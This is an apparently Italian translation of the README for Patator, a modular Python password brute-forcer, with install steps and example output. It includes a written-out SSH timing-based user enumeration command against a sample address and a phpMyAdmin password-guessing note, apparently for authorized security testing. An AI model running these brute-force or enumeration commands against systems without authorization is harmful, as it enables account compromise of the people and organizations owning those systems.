
Patator è un brute-forcer multiuso, con un design modulare e un utilizzo flessibile.
Patator è stato scritto per frustrazione nell'usare Hydra, Medusa, Ncrack, i moduli Metasploit e gli script NSE di Nmap per attacchi di indovinamento delle password. Ho optato per un approccio diverso per non creare un altro strumento di brute force ed evitare di ripetere gli stessi difetti. Patator è uno strumento multi-thread scritto in Python, che si sforza di essere più affidabile e flessibile dei suoi predecessori.
Attualmente supporta i seguenti moduli:```
Il nome "Patator" deriva da [questo](https://www.youtube.com/watch?v=9sF9fTALhVA).
Patator NON è adatto agli script-kiddie, per favore leggi quanto segue, [DeepWiki](https://deepwiki.com/lanjelot/patator) e la [wiki](https://github.com/lanjelot/patator/wiki) prima di segnalare.
Per favore dona se ti piace questo progetto! :)
<div align="center">
| PayPal | Bitcoin |
| -------- | ------- |
| [](https://www.paypal.com/cgi-bin/webscr?cmd=_donations&business=SB36VJH4EM5WG&lc=AU&item_name=lanjelot&item_number=patator¤cy_code=AUD&bn=PP%2dDonationsBF%3abtn_donateCC_LG%2egif%3aNonHosted)| [](https://raw.githubusercontent.com/lanjelot/patator/master/donate/bitcoin-address.txt) |
</div>
Grazie mille! [@lanjelot](https://twitter.com/lanjelot)
## Installazione```
git clone https://github.com/lanjelot/patator.git
git clone https://github.com/danielmiessler/SecLists.git
docker build -t patator patator/
docker run -it --rm -v $PWD/SecLists/Passwords:/mnt patator dummy_test data=FILE0 0=/mnt/richelieu-french-top5000.txt
Testato contro `vsftpd-3.0.2-9` su `CentOS 7.0-1406`.
* SSH : Enumerazione utenti basata sul tempo```
$ ssh_login host=10.0.0.1 user=FILE0 0=logins.txt password=$(perl -e "print 'A'x50000") --max-retries 0 --timeout 10 -x ignore:time=0-3
17:45:20 patator INFO - Starting Patator v0.7-beta (https://github.com/lanjelot/patator) at 2015-02-08 17:45 AEDT
17:45:20 patator INFO -
17:45:20 patator INFO - code size time | candidate | num | mesg
17:45:20 patator INFO - -----------------------------------------------------------------------------
17:45:30 patator FAIL - xxx 41 10.001 | root | 1 | <class '__main__.TimeoutError'> timed out
17:45:34 patator FAIL - xxx 41 10.000 | john | 23 | <class '__main__.TimeoutError'> timed out
17:45:37 patator FAIL - xxx 41 10.000 | joe | 40 | <class '__main__.TimeoutError'> timed out
...
Testato contro openssh-server 1:6.0p1-4+deb7u2 su Debian 7.8.
Payload #72 è stato un falso positivo a causa di un messaggio di errore imprevisto:```
$ grep AllowNoPassword /tmp/qsdf/72_200\:13215\:0\:0.351.txt
... class="icon ic_s_error" /> Login without a password is forbidden by configuration (see AllowNoPassword)</div><noscript>
Testato con phpMyAdmin 4.2.7.1.